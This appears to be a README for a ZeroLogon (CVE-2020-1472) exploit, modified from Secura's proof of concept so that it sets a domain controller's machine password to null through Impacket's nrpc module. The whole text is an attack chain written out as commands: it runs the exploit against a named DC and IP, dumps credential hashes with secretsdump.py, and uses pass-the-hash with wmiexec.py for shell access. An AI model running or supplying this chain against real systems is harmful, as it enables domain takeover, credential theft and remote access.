ZeroLogon - Exploit and Example

Modified the test PoC from Secura, CVE-2020-1472, in order to change the machine's password to null. Changing the password on the machine uses Microsoft's NetrServerPasswordSet2() function. This exploit takes advantage of Impacket's nrpc.py module to call NetrServerPasswordSet2().

Run the exploit

./zerologon_NULLPASS.py <dc-name> <dc-ip>

Dump the hashes

secretsdump.py -no-pass <dc-name>\$@<dc-ip>

Pass-The-Hash for shell access

wmiexec.py -hashes <LM:NT> <username>@<ip>